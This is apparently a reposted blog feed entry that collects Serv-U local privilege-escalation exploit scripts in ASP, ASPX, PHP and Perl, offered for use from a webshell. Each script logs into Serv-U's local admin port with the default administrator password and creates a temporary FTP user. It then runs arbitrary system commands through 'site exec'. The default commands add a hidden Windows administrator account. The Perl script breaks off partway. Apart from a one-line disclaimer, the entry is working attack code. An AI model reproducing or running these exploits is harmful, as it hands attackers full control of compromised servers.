GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/08/04/29350.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/29350.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/08/04/29350.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/29350.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/29350.html</trackback:ping><description><![CDATA[<span style="COLOR: red">ASP<br></span><br><br>&lt;% <br>'Serv-U asp 提权程序<br>'author: Goldsun[at]84823714<br>'DO NOT use it to do evil things!<br>Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit<br>dim action<br>action=request("action")<br>if&nbsp; not isnumeric(action) then response.end<br>user = trim(request("u"))<br>pass = trim(request("p"))<br>port = trim(request("port"))<br>cmd = trim(request("c"))<br>f=trim(request("f"))<br>if f="" then<br>f=gpath()<br>else<br>&nbsp;&nbsp; f=left(f,2)<br>end if<br>ftpport = 65500<br>timeout=3<br>loginuser = "User " &amp; user &amp; vbCrLf<br>loginpass = "Pass " &amp; pass &amp; vbCrLf<br>deldomain = "-DELETEDOMAIN" &amp; vbCrLf &amp; "-IP=0.0.0.0" &amp; vbCrLf &amp; " PortNo=" &amp; ftpport &amp; vbCrLf<br>mt = "SITE MAINTENANCE" &amp; vbCrLf<br>newdomain = "-SETDOMAIN" &amp; vbCrLf &amp; "-Domain=goldsun|0.0.0.0|" &amp; ftpport &amp; "|-1|1|0" &amp; vbCrLf &amp; "-TZOEnable=0" &amp; vbCrLf &amp; " TZOKey=" &amp; vbCrLf<br>newuser = "-SETUSERSETUP" &amp; vbCrLf &amp; "-IP=0.0.0.0" &amp; vbCrLf &amp; "-PortNo=" &amp; ftpport &amp; vbCrLf &amp; "-User=go" &amp; vbCrLf &amp; "-Password=od" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-HomeDir=c:\\" &amp; vbCrLf &amp; "-LoginMesFile=" &amp; vbCrLf &amp; "-Disable=0" &amp; vbCrLf &amp; "-RelPaths=1" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-NeedSecure=0" &amp; vbCrLf &amp; "-HideHidden=0" &amp; vbCrLf &amp; "-AlwaysAllowLogin=0" &amp; vbCrLf &amp; "-ChangePassword=0" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-QuotaEnable=0" &amp; vbCrLf &amp; "-MaxUsersLoginPerIP=-1" &amp; vbCrLf &amp; "-SpeedLimitUp=0" &amp; vbCrLf &amp; "-SpeedLimitDown=0" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-MaxNrUsers=-1" &amp; vbCrLf &amp; "-IdleTimeOut=600" &amp; vbCrLf &amp; "-SessionTimeOut=-1" &amp; vbCrLf &amp; "-Expire=0" &amp; vbCrLf &amp; "-RatioUp=1" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-RatioDown=1" &amp; vbCrLf &amp; "-RatiosCredit=0" &amp; vbCrLf &amp; "-QuotaCurrent=0" &amp; vbCrLf &amp; "-QuotaMaximum=0" &amp; vbCrLf &amp; _<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "-Maintenance=System" &amp; vbCrLf &amp; "-PasswordType=Regular" &amp; vbCrLf &amp; "-Ratios=None" &amp; vbCrLf &amp; " Access=c:\\|RWAMELCDP" &amp; vbCrLf<br>quit = "QUIT" &amp; vbCrLf<br>newuser=replace(newuser,"c:",f)<br>select case action<br>case 1<br>&nbsp;&nbsp;&nbsp; set a=Server.CreateObject("Microsoft.XMLHTTP")<br>&nbsp;&nbsp;&nbsp; a.open "GET", "<a href="http://127.0.0.1/">http://127.0.0.1</a>:" &amp; port &amp; "/goldsun/upadmin/s1",True, "", ""<br>&nbsp;&nbsp;&nbsp; a.send loginuser &amp; loginpass &amp; mt &amp; deldomain &amp; newdomain &amp; newuser &amp; quit<br>&nbsp;&nbsp;&nbsp; set session("a")=a<br>%&gt;<br>&lt;form method="post" name="goldsun"&gt;<br>&lt;input name="u" type="hidden" id="u" value="&lt;%=user%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="p" type="hidden" id="p" value="&lt;%=pass%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="port" type="hidden" id="port" value="&lt;%=port%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="c" type="hidden" id="c" value="&lt;%=cmd%&gt;" size="50"&gt;<br>&lt;input name="f" type="hidden" id="f" value="&lt;%=f%&gt;" size="50"&gt;<br>&lt;input name="action" type="hidden" id="action" value="2"&gt;&lt;/form&gt;<br>&lt;script language="javascript"&gt;<br>document.write('&lt;center&gt;正在连接 127.0.0.1:&lt;%=port%&gt;,使用用户名: &lt;%=user%&gt;,口令：&lt;%=pass%&gt;...&lt;center&gt;');<br>setTimeout("document.all.goldsun.submit();",4000);<br>&lt;/script&gt;<br>&lt;%<br>case 2<br>&nbsp;&nbsp;&nbsp; set b=Server.CreateObject("Microsoft.XMLHTTP")<br>&nbsp;&nbsp;&nbsp; b.open "GET", "<a href="http://127.0.0.1/">http://127.0.0.1</a>:" &amp; ftpport &amp; "/goldsun/upadmin/s2", True, "", ""<br>&nbsp;&nbsp;&nbsp; b.send "User go" &amp; vbCrLf &amp; "pass od" &amp; vbCrLf &amp; "site exec " &amp; cmd &amp; vbCrLf &amp; quit<br>&nbsp;&nbsp; set session("b")=b<br>%&gt;<br>&lt;form method="post" name="goldsun"&gt;<br>&lt;input name="u" type="hidden" id="u" value="&lt;%=user%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="p" type="hidden" id="p" value="&lt;%=pass%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="port" type="hidden" id="port" value="&lt;%=port%&gt;"&gt;&lt;/td&gt;<br>&lt;input name="c" type="hidden" id="c" value="&lt;%=cmd%&gt;" size="50"&gt;<br>&lt;input name="f" type="hidden" id="f" value="&lt;%=f%&gt;" size="50"&gt;<br>&lt;input name="action" type="hidden" id="action" value="3"&gt;&lt;/form&gt;<br>&lt;script language="javascript"&gt;<br>document.write('&lt;center&gt;正在提升权限,请等待...,&lt;center&gt;');<br>setTimeout("document.all.goldsun.submit();",4000);<br>&lt;/script&gt;<br>&lt;%<br>case 3<br>&nbsp;&nbsp;&nbsp; set c=Server.CreateObject("Microsoft.XMLHTTP")<br>&nbsp;&nbsp;&nbsp; c.open "GET", "<a href="http://127.0.0.1/">http://127.0.0.1</a>:" &amp; port &amp; "/goldsun/upadmin/s3", True, "", ""<br>&nbsp;&nbsp;&nbsp; c.send loginuser &amp; loginpass &amp; mt &amp; deldomain &amp; quit<br>&nbsp;&nbsp;&nbsp; set session("c")=c<br>%&gt;<br>&lt;center&gt;提权完毕,已执行了命令：&lt;br&gt;&lt;font color=red&gt;&lt;%=cmd%&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;<br>&lt;input type=button value=" 返回继续 " onClick="location.href='&lt;%=gname()%&gt;';"&gt;<br>&lt;/center&gt;<br>&lt;%<br>case else<br>on error resume next<br>&nbsp;&nbsp;&nbsp; set a=session("a")<br>&nbsp;&nbsp;&nbsp; set b=session("b")<br>&nbsp;&nbsp;&nbsp; set c=session("c")<br>&nbsp;&nbsp;&nbsp; a.abort<br>&nbsp;&nbsp;&nbsp; Set a = Nothing<br>&nbsp;&nbsp;&nbsp; b.abort<br>&nbsp;&nbsp;&nbsp; Set b = Nothing<br>&nbsp;&nbsp;&nbsp; c.abort<br>&nbsp;&nbsp;&nbsp; Set c = Nothing<br>%&gt;<br>&lt;center&gt;&lt;form method="post" name="goldsun"&gt;<br>&lt;table width="494" height="163" border="1" cellpadding="0" cellspacing="1" bordercolor="#666666"&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td colspan="2"&gt;Serv-U 提升权限 ASP版 Goldsun[at]84823714&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td width="100"&gt;用户名:&lt;/td&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td width="379"&gt;&lt;input name="u" type="text" id="u" value="LocalAdministrator"&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;口　令：&lt;/td&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;input name="p" type="text" id="p" value="<a href='&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#35;&#108;&#64;&#36;&#97;&#107;&#35;&#46;&#108;&#107;&#59;&#48;&#64;&#80;&#34;&#62;&#60;&#47;&#116;&#100;'>
#l@$ak#.lk;0@P"&gt;&lt;/td</a>&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;端　口：&lt;/td&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;input name="port" type="text" id="port" value="43958"&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;系统路径：&lt;/td&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;input name="f" type="text" id="f" value="&lt;%=f%&gt;" size="8"&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;命　令：&lt;/td&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;input name="c" type="text" id="c" value="cmd /c net user goldsun love /add &amp; net localgroup administrators goldsun /add" size="50"&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp;<br>&nbsp; &lt;tr align="center" valign="middle"&gt;<br>&nbsp;&nbsp;&nbsp; &lt;td colspan="2"&gt;&lt;input type="submit" name="Submit" value="提交"&gt;　<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="reset" name="Submit2" value="重置"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="action" type="hidden" id="action" value="1"&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&lt;/table&gt;&lt;/form&gt;&lt;/center&gt;<br>&lt;% end select<br>function Gpath()<br>on error resume next<br>&nbsp;&nbsp;&nbsp; err.clear<br>&nbsp;&nbsp;&nbsp; set f=Server.CreateObject("Scripting.FileSystemObject")<br>&nbsp;&nbsp;&nbsp; if err.number&gt;0 then<br>&nbsp;gpath="c:"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit function<br>&nbsp;&nbsp;&nbsp; end if<br>gpath=f.GetSpecialFolder(0)<br>gpath=lcase(left(gpath,2))<br>set f=nothing<br>end function<br>Function GName() <br>If request.servervariables("SERVER_PORT")="80" Then <br>GName="http://" &amp; request.servervariables("server_name")&amp;lcase(request.servervariables("script_name")) <br>Else <br>GName="http://" &amp; request.servervariables("server_name")&amp;":"&amp;request.servervariables("SERVER_PORT")&amp;lcase(request.servervariables("script_name")) <br>End If <br>End Function <br>%&gt;<br><br><br><span style="COLOR: red">ASPX</span><br><br><br>&lt;%@ Page Language="VB" Debug="true" %&gt;<br>&lt;%@ import Namespace="System.Net.Sockets" %&gt;<br>&lt;script runat="server"&gt;<br><br>' <br>' Love, where are you ?<br><br>Sub BTN_Start_Click(sender As Object, e As EventArgs)<br>Dim Usr As String = Text_Name.Text<br>Dim pwd As String = Text_PWD.Text<br>Dim Port As Int32 = Text_Port.Text<br>Dim Command As String = Text_cmd.Text<br><br>Dim LoginUser As String = "User " &amp; Usr &amp; vbcrlf<br>Dim LoginPass As String = "Pass " &amp; pwd &amp; vbcrlf<br>Dim NewDomain As String = "-SETDOMAIN" &amp; vbcrlf &amp; "-Domain=cctv|0.0.0.0|43859|-1|1|0" &amp; vbcrlf &amp; "-TZOEnable=0" &amp; vbcrlf &amp; " TZOKey=" &amp; vbcrlf<br>Dim DelDomain As String = "-deleteDOMAIN" &amp; vbcrlf &amp; "-IP=0.0.0.0" &amp; vbcrlf &amp; " PortNo=43859" &amp; vbcrlf<br>Dim NewUser AS String = "-SETUSERSETUP" &amp; vbcrlf &amp; "-IP=0.0.0.0" &amp; vbcrlf &amp; "-PortNo=43859" &amp; vbcrlf &amp; "-User=lake" &amp; vbcrlf &amp; "-Password=admin123" &amp; vbcrlf &amp; _<br>"-HomeDir=c:\\" &amp; vbcrlf &amp; "-LoginMesFile=" &amp; vbcrlf &amp; "-Disable=0" &amp; vbcrlf &amp; "-RelPaths=1" &amp; vbcrlf &amp; _<br>"-NeedSecure=0" &amp; vbcrlf &amp; "-HideHidden=0" &amp; vbcrlf &amp; "-AlwaysAllowLogin=0" &amp; vbcrlf &amp; "-ChangePassword=0" &amp; vbcrlf &amp; _<br>"-QuotaEnable=0" &amp; vbcrlf &amp; "-MaxUsersLoginPerIP=-1" &amp; vbcrlf &amp; "-SpeedLimitUp=0" &amp; vbcrlf &amp; "-SpeedLimitDown=0" &amp; vbcrlf &amp; _<br>"-MaxNrUsers=-1" &amp; vbcrlf &amp; "-IdleTimeOut=600" &amp; vbcrlf &amp; "-SessionTimeOut=-1" &amp; vbcrlf &amp; "-Expire=0" &amp; vbcrlf &amp; "-RatioUp=1" &amp; vbcrlf &amp; _<br>"-RatioDown=1" &amp; vbcrlf &amp; "-RatiosCredit=0" &amp; vbcrlf &amp; "-QuotaCurrent=0" &amp; vbcrlf &amp; "-QuotaMaximum=0" &amp; vbcrlf &amp; _<br>"-Maintenance=System" &amp; vbcrlf &amp; "-PasswordType=Regular" &amp; vbcrlf &amp; "-Ratios=None" &amp; vbcrlf &amp; " Access=c:\\|RWAMELCDP" &amp; vbcrlf<br>Dim Quit As String = "QUIT" &amp; vbcrlf<br>Dim MAINTENANCE As String = "SITE MAINTENANCE" &amp; vbcrlf<br><br>'Dim client As New TcpClient<br>Dim tcpClient As New TcpClient()<br>Try<br>tcpClient.Connect("127.0.0.1", port)<br>Catch eee As Exception<br>response.write(eee.ToString())<br>response.end<br>End Try<br>tcpClient.ReceiveBufferSize = 1024<br>Dim networkStream As NetworkStream = tcpClient.GetStream()<br>Rec(networkStream)<br>Send(networkStream, LoginUser)<br>Rec(networkStream)<br>Send(networkStream, LoginPass)<br>Rec(networkStream)<br>Send(networkStream, MAINTENANCE)<br>Rec(networkStream)<br>Send(networkStream, DelDomain)<br>Rec(networkStream)<br>Send(networkStream, NewDomain)<br>Rec(networkStream)<br>Send(networkStream, NewUser)<br>Rec(networkStream)<br>Dim tcpClient2 As New TcpClient()<br>Try<br>tcpClient2.Connect("127.0.0.1", 43859)<br>Catch eee As Exception<br>response.write(eee.ToString())<br>response.end<br>End Try<br>tcpClient2.ReceiveBufferSize = 1024<br>Dim networkStream2 As NetworkStream = tcpClient2.GetStream()<br>Rec(networkStream2)<br>Send(networkStream2, "User lake" &amp; vbcrlf)<br>Rec(networkStream2)<br>Send(networkStream2, "pass admin123" &amp; vbcrlf)<br>Rec(networkStream2)<br>Send(networkStream2, "site exec " &amp; Command &amp; vbcrlf)<br>Rec(networkStream2)<br>tcpClient2.Close()<br>Send(networkStream, DelDomain)<br>Rec(networkStream)<br>Send(networkStream, Quit)<br>Rec(networkStream)<br>tcpClient.Close()<br>End Sub<br><br><br>Sub Rec(o As Object)<br>If o.CanRead Then<br>Dim bytes(1024) As Byte<br>o.Read(bytes, 0, 1024)<br>Dim returndata As String = Encoding.ASCII.GetString(bytes)<br>response.Write("out:" &amp; returndata &amp; "&lt;br&gt;")<br>Else<br>response.Write("What's wrong ?")<br>End If<br>End Sub<br><br>Sub Send(o As Object,data As String)<br>If o.CanWrite Then<br>Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)<br>o.Write(sendBytes, 0, sendBytes.Length)<br>response.write("in: " &amp; data &amp; "&lt;br&gt;")<br>Else<br>response.Write("What's wrong ?")<br>End If<br>End Sub<br><br>&lt;/script&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;form runat="server"&gt;<br>&lt;p&gt;<br>&lt;asp:Label id="Label1" runat="server" width="353px" forecolor="Blue"&gt;from Serv-U 2<br>admin by lake2&lt;/asp:Label&gt;<br>&lt;/p&gt;<br>&lt;p&gt;<br>&lt;asp:Label id="Label2" runat="server" width="40px"&gt;Name&lt;/asp:Label&gt;<br>&lt;asp:TextBox id="Text_Name" runat="server" Width="152px"&gt;LocalAdministrator&lt;/asp:TextBox&gt;<br>&lt;br /&gt;<br>&lt;asp:Label id="Label3" runat="server" width="40px"&gt;PWD&lt;/asp:Label&gt;<br>&lt;asp:TextBox id="Text_PWD" runat="server"&gt;#l@$ak#.lk;0@P&lt;/asp:TextBox&gt;<br>&lt;br /&gt;<br>&lt;asp:Label id="Label4" runat="server" width="40px"&gt;Port&lt;/asp:Label&gt;<br>&lt;asp:TextBox id="Text_Port" runat="server"&gt;43958&lt;/asp:TextBox&gt;<br>&lt;br /&gt;<br>&lt;asp:Label id="Label5" runat="server" width="40px"&gt;cmd&lt;/asp:Label&gt;<br>&lt;asp:TextBox id="Text_cmd" runat="server"&gt;&lt;/asp:TextBox&gt;<br>&lt;/p&gt;<br>&lt;p&gt;<br>&lt;asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Text="Start"&gt;&lt;/asp:Button&gt;<br>&lt;/p&gt;<br>&lt;p&gt;<br>&lt;hr /&gt;<br>&lt;!-- insert content here --&gt;<br>&lt;/p&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br><br><br><span style="COLOR: red">PHP</span><br><br><br>&lt;?php<br>if(isset($_POST["Port"])&amp;&amp;isset($_POST["User"])&amp;&amp;isset($_POST["Pass"]))<br>{<br>&nbsp;&nbsp;$sendbuf = "";<br>&nbsp;&nbsp;$recvbuf = "";<br>&nbsp;&nbsp;$domain = "-SETDOMAIN\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-TZOEnable=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;" TZOKey=\r\n";<br>&nbsp;&nbsp;$adduser = "-SETUSERSETUP\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-IP=0.0.0.0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-PortNo=2121\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-User=Will_Be\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Password=Will_Be\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-HomeDir=c:\\\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-LoginMesFile=\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Disable=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-RelPaths=1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-NeedSecure=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-HideHidden=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-AlwaysAllowLogin=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-ChangePassword=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-QuotaEnable=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-MaxUsersLoginPerIP=-1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-SpeedLimitUp=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-SpeedLimitDown=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-MaxNrUsers=-1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-IdleTimeOut=600\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-SessionTimeOut=-1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Expire=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-RatioUp=1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-RatioDown=1\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-RatiosCredit=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-QuotaCurrent=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-QuotaMaximum=0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Maintenance=None\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-PasswordType=Regular\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-Ratios=None\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;" Access=c:\\|RELP\r\n";<br>&nbsp;&nbsp;$deldomain="-DELETEDOMAIN\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;"-IP=0.0.0.0\r\n".<br>&nbsp; &nbsp;&nbsp; &nbsp;" PortNo=2121\r\n";<br>&nbsp;&nbsp;$sock = fsockopen("127.0.0.1", $_POST["Port"], &amp;$errno, &amp;$errstr, 10);<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "USER ".$_POST["User"]."\r\n";<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "PASS ".$_POST["Pass"]."\r\n";<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "SITE MAINTENANCE\r\n";<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = $domain;<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = $adduser;<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;echo "**********************************************************&lt;br&gt;";<br>&nbsp;&nbsp;echo "Starting Exploit ...&lt;br&gt;";<br>&nbsp;&nbsp;echo "**********************************************************&lt;br&gt;";<br>&nbsp;&nbsp;$exp = fsockopen("127.0.0.1", "2121", &amp;$errno, &amp;$errstr, 10);<br>&nbsp;&nbsp;$recvbuf = fgets($exp, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "USER Will_Be\r\n";<br>&nbsp;&nbsp;fputs($exp, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($exp, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "PASS Will_Be\r\n";<br>&nbsp;&nbsp;fputs($exp, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($exp, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = "site exec ".$_POST["Command"]."\r\n";<br>&nbsp;&nbsp;fputs($exp, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: site exec&lt;/font&gt; &lt;font color=green&gt;".$_POST["Command"]."&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($exp, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;echo "**********************************************************&lt;br&gt;";<br>&nbsp;&nbsp;echo "Starting Delete Domain ...&lt;br&gt;";<br>&nbsp;&nbsp;echo "**********************************************************&lt;br&gt;";<br>&nbsp;&nbsp;$sendbuf = $deldomain;<br>&nbsp;&nbsp;fputs($sock, $sendbuf, strlen($sendbuf));<br>&nbsp;&nbsp;echo "&lt;font color=blue&gt;Send: $sendbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;$recvbuf = fgets($sock, 1024);<br>&nbsp;&nbsp;echo "&lt;font color=red&gt;Recv: $recvbuf&lt;/font&gt;&lt;br&gt;";<br>&nbsp;&nbsp;fclose($sock);<br>&nbsp;&nbsp;fclose($exp);<br>}<br>?&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv="Content-Type" c&gt;<br>&lt;title&gt;Serv-U Local Exploit By Will_Be&lt;/title&gt;<br>&lt;/head&gt;<br><br>&lt;body&gt;<br>&lt;form method="post"&gt;<br>LocalPort:<br>&lt;input name="Port" type="text" id="Port" value="43958"&gt;<br>&lt;br&gt;<br>LocalUser:<br>&lt;input name="User" type="text" id="User" value="LocalAdministrator"&gt;<br>&lt;br&gt;<br>LocalPass:<br>&lt;input name="Pass" type="text" id="Pass" value="#l@$ak#.lk;0@P"&gt;<br>&lt;br&gt;<br>Command　:<br>&lt;input name="Command" type="text" id="Command" value="net user Will_Be heihei /add"&gt;<br>&lt;br&gt;<br>&lt;input type="submit" name="Submit" value="提交"&gt;　　<br>&lt;input type="reset" name="Submit" value="重置"&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br><br><br><span style="COLOR: red">Perl</span><br>Perl的默认安装路径是：C:\Perl<br>然后使用：<br>perl 你的pl文件的路径。<br>在WEBSHELL中的路径是这样的：<br>C:\perl\bin\perl 你的pl文件的路径
<div class=UBBPanel>
<div class=UBBContent>#!/usr/bin/perl<br>use IO::Socket;<br><br>binmode(STDOUT);<br>syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);<br><br>$addr = "127.0.0.1";<br>$ftpport = 21;<br>$adminport = 43958;<br>$adminuser = "LocalAdministrator";<br>$adminpass = '#l@$ak#.lk;0@P';<br>$user = "h4x0r";<br>$password = "123456";<br>$homedir = 'C:\\';<br>$dir = 'C:\\WINNT\\System32\\';<br><br><br>use IO::Socket::INET;<br><br>$sock = IO::Socket::INET-&gt;new("127.0.0.1:$adminport") || die "fail";<br><br>print "TEST&lt;br&gt;&lt;br&gt;";<br><br>print $sock "USER $adminuser\r\n";<br>sleep (1);<br>print $sock "PASS $adminpass\r\n";<br>sleep(1);<br>print $sock "SITE MAINTENANCE\r\n";<br>sleep(1);<br>print $sock "-SETUSERSETUP\r\n";<br>print $sock "-IP=".$addr."\r\n";<br>print $sock "-PortNo=".$ftpport."\r\n";<br>print $sock "-User=".$user."\r\n";<br>print $sock "-Password=".$password."\r\n";<br>print $sock "-HomeDir=".$homedir."\r\n";<br>print $sock "-LoginMesFile=\r\n";<br>print $sock "-Disable=0\r\n";<br>print $sock "-RelPaths=0\r\n";<br>print $sock "-NeedSecure=0\r\n";<br>print $sock "-HideHidden=0\r\n";<br>print $sock "-AlwaysAllowLogin=0\r\n";<br>print $sock "-ChangePassword=1\r\n";<br>print $sock "-QuotaEnable=0\r\n";<br>print $sock "-MaxUsersLoginPerIP=-1\r\n";<br>print $sock "-SpeedLimitUp=-1\r\n";<br>print $sock "-SpeedLimitDown=-1\r\n";<br>print $sock "-MaxNrUsers=-1\r\n";<br>print $sock "-IdleTimeOut=600\r\n";<br>print 